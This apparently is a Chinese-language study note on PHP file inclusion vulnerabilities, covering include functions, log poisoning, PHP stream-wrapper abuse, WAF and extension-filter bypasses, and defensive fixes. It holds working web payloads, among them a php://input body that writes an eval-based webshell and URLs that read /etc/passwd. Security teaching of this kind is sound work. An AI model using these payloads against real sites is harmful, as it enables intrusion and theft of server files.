Note

文件包含: 开发人员会将重复调用的代码写入一个单独的文件中,以此来降低代码冗余,降低代码后期的维护难度,同时还能保障整体的风格统一。
产生原因: 文件包含的函数加载参数没有经过严格的过滤和定义,可以被攻击者进行利用,导致执行了攻击者的恶意代码。

1. PHP 文件包含


PHP中提供了四个文件包含的函数:includerequireinclude_oncerequire_once

  • include
    • 该函数用于将指定文件包含到当前脚本中,并将其中的内容解释执行。
    • 异常时:抛出警告,程序继续运行
    <?php  
        include 'filename.php';  
    ?>  
  • require
    • 该函数用于将指定文件包含到当前脚本中,并将其中的内容解释执行。
    • 异常时:报错,程序停止运行
    <?php  
        require 'filename.php';  
    ?>  
  • include_once
    • 该函数与include()函数类似,用于将指定文件包含到当前脚本中,并将其中的内容解释执行,但是只会包含一次,避免重复包含。
    • 异常时:抛出警告,程序继续运行
    <?php  
        include_once 'filename.php';  
    ?>  
  • require_once
    • 该函数与require()函数类似,用于将指定文件包含到当前脚本中,并将其中的内容解释执行,但是只会包含一次,避免重复包含。
    • 异常时:报错,程序停止运行
    <?php  
    require_once 'filename.php';  
    ?>  

2. 文件包含漏洞类型


2.1 本地文件包含

攻击者利用 web 应用程序的漏洞,将包含服务端本地文件路径的输入注入到应用程序中,导致应用程序在包含文件时,可以读取包含文件中包含的任意本地文件,从而获取敏感信息或者执行恶意代码。
常见敏感信息路径

2.2 远程文件包含

攻击者可以通过包含远程服务器上的文件来执行恶意代码。
想要利用远程文件包含,需要 php 的配置文件中,将 allow_url_fopenallow_url_include 配置为 On

  • allow_url_fopen:控制着是否允许使用 fopen() 函数通过 URL 打开远程文件,包括打开本地文件系统以外的 URL。
  • allow_url_include:控制着是否允许使用 includerequireinclude_oncerequire_once 等PHP文件引入函数来引入远程文件,包括打开本地文件系统以外的 URL。

3. 利用方式


3.1 利用日志文件

当已经爆破出中间件的日志记录文档路径,可以利用 php 文件包含特性,去恶意利用日志文档来暴露信息。步骤如下:

  1. 爆破获取中间件的日志记录文档路径。
  2. 在访问网站时,恶意构造 url,使其包括 <?php phpinfo(); ?> 等类似内容。并进行访问。
    此步骤最好使用 burpsuite 来进行访问,如果通过浏览器构造恶意代码,<> 等字符会被转义为 URL 编码,后续利用会失败。
  3. 使用包含恶意代码的 url 访问后,恶意代码会被写入到记录日志中。
  4. 具备文件包含漏洞处,直接包含日志记录文档,完成利用。

3.2 利用PHP伪协议

3.2.1 php://filter

php://filter是PHP中的一个输入输出流过滤器(input/output stream filter),可以用于对数据流进行过滤和转换。

php://filter/<filter_name>/resource  
  • filter_name :要使用的过滤器名称
  • resource :要进行处理的数据源,可以是文件路径、URL 或其他支持的数据源。
  • 过滤器的输出会被返回,可以通过 file_get_contentsfread 等函数读取。
    利用方法:
    通过base64编码,尝试获取指定页面的内容,进行代码审计。
http://example.com/page.php?url=php://filter/read=convert.base64-encode/resource=/etc/passwd  

特点:

  • 无需依赖allow_url_fopenallow_url_include

3.2.2 php://input

php://input 可以获取 HTTP POST 请求的数据。可以通过 HTTP POST 请求提交恶意代码,然后通过该伪协议读取并执行。
利用方法:
在存在文件包含漏洞处,直接添加 php://input,然后再 post 数据包中输入恶意代码。

url:http://example.com/page.php?url=php://input  
  
post data:  
<?php fputs(fopen("shell.php", "w"), "<?php eval(\$_POST['a']);?>") ?>  

特点:

  • 需要开启allow_url_include
  • 如果使用了:enctype="multipart/form-data",此伪协议无效。

3.2.3 zip://、bzip://、zlib://

这三个伪协议分别可以用于读取 zip、bzip2、zlib 格式的压缩文件。

zip://archive.zip#file.txt  
  
bzip://archive.bz2#file.txt  
  
zlib://archive.gz#file.txt  
  • archive是不同格式的压缩文件
  • file.txt 是压缩文件内的子文件名。同时可用 php 文件包含的特性,只要文件内有符合 PHP 语法的代码就会执行。
  • 上述所有的压缩文件都需要使用绝对路径
  • 如果使用浏览器进行访问,需要将 # 通过url 编码进行转移,结果为 %23
    特点:
  • 需要开启allow_url_fopen

3.2.4 phar://

协议是 PHP 的一个内置封存协议,用于在 PHP 中访问 Phar(PHP Archive)文件,它可以访问 Phar 文件中的内容,如类、函数、静态资源、配置文件等。
但是对于文件包含漏洞中,使用方法和压缩协议类似。

phar://archive.zip/file.txt  
  • 压缩文件可以使用绝对路径或者相对路径
    特点:
  • PHP版本大于5.3
  • 无需依赖allow_url_fopenallow_url_include

3.2.5 data://

可以将数据转换为流的伪协议,常用于将内存中的数据作为文件来处理,常见于图像、音频等二进制数据的处理。

data://text/plain;base64,<base64-code>  

使用 base64 编码,将恶意代码传入。恶意代码内容也可以是具备恶意代码的文件。或者,获取服务器的某个文件内容。
特点:

  • 需要开启allow_url_fopenallow_url_include

3.2.6 file://

用于在文件系统中读取文件,只能在本地文件系统中使用。可以使用绝对路径或者相对路径。

file://<file-path>/<file-name>  

特点:

  • 无需依赖allow_url_fopenallow_url_include

3.3 其他绕过方法

3.3.1 url 编码绕过

如果目标系统存在 WAF 或后端对访问的 URL 进行判断,可以尝试使用 url 编码进行绕过。
假设一个网站存在本地文件包含漏洞,网站使用 PHP,并且有一个页面 view.php,该页面接受一个参数 file 用于动态地包含文件内容展示给用户
正常访问情况: http://example.com/view.php?file=welcome.txt
试图访问:http://example.com/view.php?file=/etc/passwd,如果有基本的安全措施,可能会访问失败。可以尝试使用:http://example.com/view.php?file=%2Fetc%2Fpasswd
如果单次 url 编码依旧被识别并阻止,可以尝试使用多次 url 编码,可以尝试使用:http://example.com/view.php?file=%252Fetc%252Fpasswd,对 % 继续用 URL 编码。

3.3.2 %00 截断

非常常用的方法,需要满足 magic_quotes_gpc=off,PHP 版本小于 5.3.4
%00 会被认为结束符,后面的数据会被忽略。可以通过此方法绕过扩展名过滤。
例如:http://example.com/view.php?file=/etc/passwd%00

3.3.3 长度截断

目录字符串,在 window 下256字节、linux 下4096字节时会达到最大值,最大值长度之后的字符将被丢弃。
可以尝试构造 n 个 ./ 构造出超长的路径,来进行后续内容的截断。

4. 防御修复


  • 尽量不使用动态包含,不开启allow_url_fopenallow_url_include
  • 对于文件包含进行限制,使用白名单方法。
  • 严格检查用户输入,不允许出现.././等目录跳转符
  • 最好前后端都要对输入的内容进行验证与过滤。不可仅在前端进行判断。